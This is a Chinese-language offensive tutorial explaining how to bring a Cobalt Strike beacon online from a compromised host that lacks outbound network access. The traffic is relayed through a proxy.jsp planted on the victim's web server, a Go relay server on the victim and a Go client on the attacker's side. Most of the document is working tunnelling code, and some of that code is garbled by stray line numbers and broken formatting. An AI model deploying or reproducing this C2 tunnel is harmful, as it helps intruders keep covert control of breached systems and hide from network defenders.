不出网上线CS 或出网但上线不了CS 都可以尝试此种方法

原理

  1. beacon连接并传输数据给由DReverseServer创建的端口
  2. DReverseServer将数据传输给proxy.jsp (proxy连接DReverseServer)
  3. proxy.jsp将数据传输给DReverseClint (DReverseClint连接proxy.jsp)

  4. DReverseClint因为在公网,所以把数据给带出来了

    受害端

    beacon(stageless)

    使用CobaltStrike建立本地Listener(127.0.0.1 64535)端口与C2ReverseServer建立的端口对应

    Proxy.jsp

    1. <%@page import="java.io.*, java.net.*" trimDirectiveWhitespaces="true"%>
    2. <%
    3.  String HOST = "127.0.0.1";
    4.  int PORT = 64535;
    5.  //获取请求方法    
    6.  String method = request.getMethod();
    7.  //检测连接是否成功
    8.  if (method == "GET"){
    9.      try{
    10.          //创建客户端的socket服务，指定127.0.0.1(本地)和64535
    11.          Socket socket = new Socket(HOST, PORT);
    12.          //接收回送消息
    13.          InputStream inSocket = socket.getInputStream();
    14.          //回送消息
    15.          OutputStream outSocket = socket.getOutputStream();
    16.          //写入连接成功标志位
    17.          String msg = "TO:CONNECT";
    18.          outSocket.write(msg.getBytes());
    19.          byte[] res = new byte[4096];
    20.          inSocket.read(res,0,4096);
    21.          out.print(new String(res));
    22.          socket.close();
    23.      }catch(java.net.ConnectException e){
    24.      }
    25.  }
    27.  //代理获取数据
    28.  if (method == "POST" && !request.getParameter("DataType").equals(null)) {
    29.      try{
    30.          Socket socket = new Socket(HOST, PORT);
    31.          socket.setSoTimeout(3000);
    32.          InputStream inSocket = socket.getInputStream();
    33.          OutputStream outSocket = socket.getOutputStream();
    34.          if (request.getParameter("DataType").equals("GetData")){
    35.              String msg = "TO:GET";
    36.              outSocket.write(msg.getBytes());
    37.              byte[] res = new byte[1046616];
    38.              try {
    39.                  inSocket.read(res,0,1046616);
    40.                  out.print(new String(res));
    41.              }catch(java.io.IOException e) {
    42.                  out.print("NO DATA");
    43.              }
    44.          }else if (request.getParameter("DataType").equals("PostData") && !request.getParameter("Data").equals(null)){
    45.              String msg = "TO:SEND" + request.getParameter("Data");
    46.              outSocket.write(msg.getBytes());
    47.          }
    48.          outSocket.close();
    49.          socket.close();
    50.      }catch(java.net.ConnectException e){
    51.      }
    52.  }
    53. %>

    DReverseServer

  5. net.listen创建一个服务器

    1. Listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%v", port))
    2. if err != nil {
    3.  fmt.Println("Listen error: %s", err.Error())
    4.  os.Exit(1)
    5.  }

  6. 循环监听连接accept和处理数据handleConn

    1.  for {
    2.      conn, err := Listen.Accept()
    3.      if err != nil {
    4.          continue
    5.      }
    6.      go handleConn(conn)
    7.  }

  7. 处理交互

    1. func init() {
    2.  flag.IntVar(&port, "p", 64535, "port")
    3.  flag.IntVar(&level, "v", 0, "log level")
    4.  flag.IntVar(&timeout, "t", 10, "timeout")
    5.  flag.Parse()
    6. }

    handleConn

    主要的逻辑函数为handleConn

  8. 提取数据 ```go //readsize = 4096

defer conn.Close() data, err := read(conn)

  1. if err != nil {
  2.     return
  3. }

/ func read(conn net.Conn) (result []byte, err error) { buf := make([]byte, readsize) for { n, err := conn.Read(buf) if err != nil || n == 0 { break } result = append(result, buf[:n]…) if n < readsize { break } } return result, err } /

  1. //处理数据长度,数据不可以大于30
  2. length := 30
  3. if len(data) <= length {
  4.     length = len(data)
  5. }
  2. 2. debug打印版信息-log
  3. ```go
  4. /*
  5.     sendflag = "TO:SEND"
  6.     connflag = "TO:CONNECT"
  7.     getflag  = "TO:GET"
  8.     level    = 0
  10. */
  12. switch {
  13.     //判断数据含有标志
  14.     case strings.Contains(string(data[:length]), connflag):
  15.         Println(connflag)
  16.         //cs来获取数据
  17.     case strings.Contains(string(data[:length]), getflag):
  18.         //发送bc缓存的数据
  19.         Println(getflag)
  20.         //cs来发送命令
  21.     case bytes.Contains(data[:length], []byte(sendflag)):
  22.         Println(sendflag)
  23.     default:
  24.         Println("default")
  25.     }
  28.     Println(fmt.Sprintf("%v %v", "read ", (len(data))))
  29.     Println2(data)
  31. /*
  32. func Println(result string) {
  33.     if level > 0 {
  34.         fmt.Println(str1, result, str1, "CsChan:", len(CsChan), "BcChan:", len(BcChan))
  35.     }
  36. }
  38. func Println2(data []byte) {
  39.     switch level {
  40.     case 2:
  41.         num := 1000
  42.         if len(data) > num {
  43.             fmt.Println(string(data[:num]))
  44.         } else {
  45.             fmt.Println(string(data))
  46.         }
  47.     case 3:
  48.         fmt.Println(string(data))
  49.     default:
  50.     }
  51. }
  52. */
  1. 处理提取的信息 ```go /* noneflag = “Tk9ORQ==” sendflag = “TO:SEND” connflag = “TO:CONNECT” getflag = “TO:GET” str1 = “================” str2 = “C2ReverseProxy - 图1“ timeout = 10

*/

switch { case strings.Contains(string(data[:length]), connflag): write(conn, []byte(noneflag)) //cs来获取数据 case strings.Contains(string(data[:length]), getflag): //发送bc缓存的数据 if len(BcChan) == 0 { write(conn, []byte(noneflag)) return }

  1.     tmp, ok := <-BcChan
  2.     if ok {
  3.         write(conn, []byte(tmp))
  4.     } else {
  5.         write(conn, []byte(noneflag))
  6.     }
  7.     //cs来发送数据
  8. case bytes.Contains(data[:length], []byte(sendflag)):
  9.     Println(sendflag)
  10.     index := bytes.Index(data, []byte(sendflag))
  11.     data = data[index+len(sendflag):]
  12.     index1 := bytes.Index(data, []byte(str2))
  13.     if index1 >= 0 {
  14.         data = data[index1+len(str2):]
  15.     }
  16.     index2 := bytes.Index(data, []byte(str3))
  17.     if index2 >= 0 {
  18.         data = data[:index2]
  19.     }
  20.     CsChan <- string(data)
  21.     write(conn, []byte(noneflag))
  22. default:
  23.     Println("default")
  24.     //接收becon数据包
  25.     BcChan <- base64.RawURLEncoding.EncodeToString(data)
  26.     start := time.Now()
  27.     //等待c2的数据包
  28.     for len(CsChan) == 0 && time.Now().Sub(start) < time.Duration(timeout)*time.Second {
  30.     }
  31.     if len(CsChan) == 0 {
  32.         fmt.Println("len cschan = 0")
  33.         write(conn, []byte(noneflag))
  34.         return
  35.     }
  36.     Println("default write")
  37.     //发送c2的数据包
  38.     tmp, ok := <-CsChan
  39.     if ok {
  40.         encoded, err := base64.RawURLEncoding.DecodeString(tmp)
  41.         if err != nil {
  42.             fmt.Println("base64decode failed: ", err)
  43.             Println2([]byte(tmp))
  44.         } else {
  45.             write1(conn, encoded)
  46.         }
  47.         return
  48.     } else {
  49.         write(conn, []byte(noneflag))
  50.     }
  51. }

/* func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) data = append([]byte(str2), data…) data = append(data, []byte(str3)…) n, err = conn.Write(data) return }

func write1(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, (len(data)))) Println2(data) n, err = conn.Write(data) return }

*/

  2. <a name="pYksr"></a>
  3. ## C2攻击端
  5. 1. 初始化参数和代理端
  6. ```go
  7. func init() {
  8.     flag.StringVar(&Url, "u", "http://127.0.0.1/proxy.php", "url,eg http://127.0.0.1/proxy.php")
  9.     flag.StringVar(&hostPort, "t", "127.0.0.1:64535", "c2 target,eg 127.0.0.1:64535 ")
  10.     flag.StringVar(&Proxy, "p", "", "url proxy,eg 8080")
  11.     flag.IntVar(&level, "v", 0, "log level")
  12.     flag.Parse()
  13.     InitHttpClient(Proxy, dialTimout)
  14. }
  16. func InitHttpClient(DownProxy string, Timeout time.Duration) error {
  17.     dialer := &net.Dialer{
  18.         Timeout:   dialTimout,
  19.         KeepAlive: keepAlive,
  20.     }
  22.     tr := &http.Transport{
  23.         DialContext:         dialer.DialContext,
  24.         MaxConnsPerHost:     0,
  25.         MaxIdleConns:        0,
  26.         MaxIdleConnsPerHost: 100 * 2,
  27.         IdleConnTimeout:     keepAlive,
  28.         TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
  29.         TLSHandshakeTimeout: 5 * time.Second,
  30.         DisableKeepAlives:   false,
  31.     }
  32.     if DownProxy != "" {
  33.         if DownProxy == "1" {
  34.             DownProxy = "http://127.0.0.1:8080"
  35.         } else if !strings.Contains(DownProxy, "://") {
  36.             DownProxy = "http://127.0.0.1:" + DownProxy
  37.         }
  38.         u, err := url.Parse(DownProxy)
  39.         if err != nil {
  40.             return err
  41.         }
  42.         tr.Proxy = http.ProxyURL(u)
  43.     }
  45.     client = &http.Client{
  46.         Transport: tr,
  47.         Timeout:   Timeout,
  48.     }
  49.     return nil
  50. }

  1. 获取数据 ```go func GetDate() {

    if check(Url) {

    1.  for {
    2.      data, err := getdata(Url)
    3.      if err != nil || strings.Contains(string(data), noneflag) || len(data) == 0 || len(data) == lastlen {
    4.          lastlen = len(data)
    5.          time.Sleep(2 * time.Second)
    6.          continue
    7.      }
    8.      lastlen = len(data)
    9.      Println("getdata")
    10.      Println2(data)
    11.      index1 := bytes.Index(data, []byte(str2))
    12.      if index1 >= 0 {
    13.          data = data[index1+len(str2):]
    14.      }
    15.      index2 := bytes.Index(data, []byte(str3))
    16.      if index2 >= 0 {
    17.          data = data[:index2]
    18.      }
    20.      data1, err := base64.RawURLEncoding.DecodeString(string(data))
    21.      if err != nil {
    22.          fmt.Println("base64 err", err)
    23.          Println2(data)
    24.          continue
    25.      } else {
    26.          Println2(data1)
    27.      }
    28.      if len(data) > 0 {
    29.          SendDate(hostPort, data1, Url)
    30.      }
    31.  }

    } }

func getdata(Url string) (result []byte, err error) { dataResp, err := client.Post(Url, “application/x-www-form-urlencoded”, strings.NewReader(“DataType=GetData”)) if err != nil { return } defer dataResp.Body.Close() var buf bytes.Buffer _, err = io.Copy(&buf, dataResp.Body) if err != nil { fmt.Println(“read error:”, err) return ioutil.ReadAll(dataResp.Body) } return buf.Bytes(), err }

// 数据发送模块 func SendDate(hostPort string, data []byte, url string) { Println(“senddata”) conn, err := net.DialTimeout(“tcp”, hostPort, 10*time.Second) defer conn.Close() if err != nil { fmt.Printf(“connect failed, err : %v\n”, err.Error()) return } _, err = write(conn, data) if err != nil { fmt.Printf(“write failed , err : %v\n”, err) } result, err := read(conn) //TO:SEND C2Send := []byte(“DataType=PostData&Data=” + str2 + base64.RawURLEncoding.EncodeToString(result) + str3) Println(“post”) Println2(C2Send) resp, err := client.Post(url, “application/x-www-form-urlencoded”, bytes.NewBuffer(C2Send)) if err != nil { fmt.Println(“发送数据error: “, err) return } defer resp.Body.Close() }

func check(Url string) (flag bool) { resp, err := client.Get(Url) if err != nil { fmt.Println(“check error:”, err) return } content, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() if strings.Contains(string(content), noneflag) { fmt.Println(“SUCCESS Start getting data ….”) return true } else { fmt.Println(string(content)) fmt.Println(“Please check if the script exists and runs…”) } return }

func read(conn net.Conn) (result []byte, err error) { var buf bytes.Buffer _, err = io.Copy(&buf, conn) if err != nil { fmt.Println(“read error:”, err) return } Println(fmt.Sprintf(“%v %v”, “read “, buf.Len())) Println2(buf.Bytes()) return buf.Bytes(), err }

func write(conn net.Conn, data []byte) (n int, err error) { Println(fmt.Sprintf(“%v %v”, “write “, len(data))) Println2(data) n, err = conn.Write(data) return }

func Println(result string) { if level > 0 { fmt.Println(str1, result, str1) } }

func Println2(data []byte) { switch level { case 2: num := 1000 if len(data) > num { fmt.Println(string(data[:num])) } else { fmt.Println(string(data)) } case 3: fmt.Println(string(data)) default: } } ```